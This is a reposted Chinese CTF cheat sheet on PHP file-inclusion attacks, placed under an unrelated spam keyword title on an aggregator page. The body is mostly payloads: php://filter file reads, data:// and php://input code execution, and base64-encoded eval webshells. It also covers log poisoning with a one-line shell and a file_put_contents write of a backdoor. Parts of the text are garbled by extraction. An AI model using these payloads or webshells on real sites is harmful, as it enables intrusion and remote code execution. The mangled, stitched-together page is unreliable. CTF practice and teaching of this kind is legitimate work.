您的位置:首页 > 娱乐 > 八卦 > 重庆电力公司网站_辽宁建设工程信息网变更_小程序定制开发公司_动态网站的制作与设计

重庆电力公司网站_辽宁建设工程信息网变更_小程序定制开发公司_动态网站的制作与设计

2025/2/24 17:35:22 来源:https://blog.csdn.net/2401_83582688/article/details/144544295  浏览:    关键词:重庆电力公司网站_辽宁建设工程信息网变更_小程序定制开发公司_动态网站的制作与设计
重庆电力公司网站_辽宁建设工程信息网变更_小程序定制开发公司_动态网站的制作与设计

title: CTF知识集-文件包含

写在开头可能会用到的提醒

提醒

  • 文件包含可以使用绝对路径,例如?file=/flag

伪协议

  • 遇到文件包含(include)首先想到伪协议,filter,data,input,zip等
  • 读取文件,base64编码
  • php://filter/convert.base64-encode/resource=
  • 读取文件,将读取到的文件中的字母往后ASCII+13,如果不足+13便会-13,例如ctfshow变为pgsfubj
  • php://filter/string.rot13/resource=flag.php
  • convert.iconv.* 过滤器,更多看文章底部链接
  • 例如:php://filter//convert.iconv.SJIS*.UCS-4*/resource=/var/www/html/flag.php
  • 例如:include “php://filter/convert.base64-encode/resource=”
  • data伪协议,data://text/plain,<php代码>
  • 例如:include “data://text/plain,<?=phpinfo();?>”
  • data伪协议第二种写法,data://text/plain;base64,base代码
  • 例如:include “data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFtjbWRdKTs/Pg==”
  • input,php://input,post输入php代码
  • 例如:include “php://input” 然后post输入代码
  • 日志注入,将UA修改为一句话马,然后包含住日志文件,然后执行
  • 例如:在UA等之类的输入php代码,然后包含include “/var/log/nginx/access.log”
  • 远程包含,即包含url,需要php.ini开启配置,allow_url_fopen = On(默认开启),allow_url_include = On (默认关闭)
  • 例如?file=http://baidu.com
  • phar,phar://压缩包路径/压缩包里面的文件
  • 例如shell.zip里面有shell.php,phar://shell.zip/shell.php
    *
  • file_put_contents( f i l e , file, file,content)写入文件, f i l e 将 file将 filecontent的内容base64decode放入1.php
  • file=php://filter/write=convert.base64-decode/resource=1.php | content=PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7ID8%2B

过滤器相关

  • 使用php://filter/过滤器/resource=来读取文件,这边过滤器有很多
  • 相关文章: https://blog.csdn.net/woshilnp/article/details/117266628
  • 相关文章: https://www.jianshu.com/p/0a8339fcc269

做题用过的过滤器

convert.iconv.EUC-JP*.UCS-4*
convert.iconv.SJIS*.UCS-4*

协议

file协议

绝对路径 file:///flag
相对路径 file://../../flag

input协议

include "php://input"
如果这样子的话,可以POST直接传入POHP代码

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com